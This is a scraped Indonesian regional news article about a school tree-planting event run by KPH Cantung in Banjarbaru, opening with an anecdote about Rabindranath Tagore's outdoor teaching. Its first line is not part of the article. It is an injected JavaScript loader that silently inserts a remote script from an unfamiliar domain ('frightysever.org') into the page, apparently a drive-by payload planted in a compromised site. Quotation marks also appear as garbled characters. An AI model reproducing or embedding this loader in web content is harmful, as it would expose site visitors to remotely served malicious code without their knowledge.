(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Hakikat pendidikan adalah mengalami. Kata-kata itu, pernah diucapkan filsuf sekaligus pendidik India, Rabindranath Tagore (7 Mei 1861 –7 Agustus 1941). Di saat pendidikan terjebak dalam formalitas kelas, dia mendirikan Shanti Niketan, sebagai perlawanan terhadap pendidikan kolonial Inggris pada zamannya.
Di sekolah tersebut, Tagore yang juga pemenang nobel bidang sastra ini, mengajak muridnya keluar dalam kungkungan ruang kelas yang sempit. Dia ajak anak-anak didiknya ke hutan.
“Jika kalian menyanyangi pohon-pohon, maka peluklah dia,†katanya. Dan, anak-anak kecil itu pun lantas berlari menuju hutan, memeluk pohonnya masing-masing.
Kepada mereka, Tagore mengatakan bahwa pohon sama dengan manusia yang harus dijaga, dirawat, dan disayangi. Sebab Dengan mencintai pohon, menanam, serta menjaganya, udara yang dihirup tetap bersih, ketersediaan air tanah tetap untuk mengaliri sawah-sawah tetap terjaga dan pohon dapat menjaga kita dari bencana banjir dan longsor.
Mengenalkan kecintaan sejak dini terjadap lingkungan sebagaimana yang dilakukan Tagore beberapa puluh tahun silam, kini telah gerakan yang diadopsi banyak lembaga internasional. Tak terkecuali instansi pendidikan maupun pemerintah.
Beberapa waktu lalu, KPH Cantung bersama Sekolah Dasar Negeri (SDN) Desa Suka Maju melaksanakan kegiatan penanaman guna mendukung Gerakan Revolusi Hijau. Mereka melakukan penanaman sejumlah pohon pada titik koordinat x:394102 y:9658250. Jenis bibit yang ditanam adalah jenis kayu-kayuan terdiri dari Mahoni 30 batang, Trembesi 40 batang dan glodokan 20 batang.
Menurut Kepala KPH Cantung Amin Nurrohman, kegiatan penanaman yang dilaksanakan merupakan upaya mensosialisasikan Gerakan Revolusi Hijau.
“Ini agar tumbuh budaya gemar menanam pada guru dan siswa SDN Suka Maju. Harapannya agar dapat memberikan dampak positif bagi siswa di sekolah-sekolah untuk melaksanakan kegiatan penanaman secara mandiri guna menjaga kelestarian lingkungan,†ujarnya.
Memang, menanamkan rasa cinta kepada lingkungan bisa dimulai dari hal yang kecil. Salah satunya dengan menanam pohon. “Kita ingin sejak dini anak-anak dididik untuk tahu fungsi dan manfaat dari menanam pohon. Sehingga tertanam dalam diri mereka untuk selalu melestarikan dan menjaga lingkungan sekitar mereka. Selain itu, mereka juga diajari bagaimana cara menanam pohon secara benar, bagaimana memindahkan bibit pohon ke pot, juga memupuk tanaman setelah dipindahkan,†jelas Amin.
Amin berharap, kegiatan ini menjadi awal bagi kegiatan-kegiatan penanaman pohon selanjutnya. Dengan mengetahui manfaat dan cara menanam pohon, selanjutnya mereka akan bisa menanam pohon dengan kesadarannya sendiri. “Anak-anak harus bisa peduli dengan lingkungan, terutama lingkungan di sekitar tempat tinggalnya, sehingga kelestarian lingkungan akan terus terjaga,†pesannya.
Maka, menanam adalah pendidikan masa depan!(cel)
KANALKALIMANTAN.COM, BANJARBARU - Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More
Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More
KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More
This website uses cookies.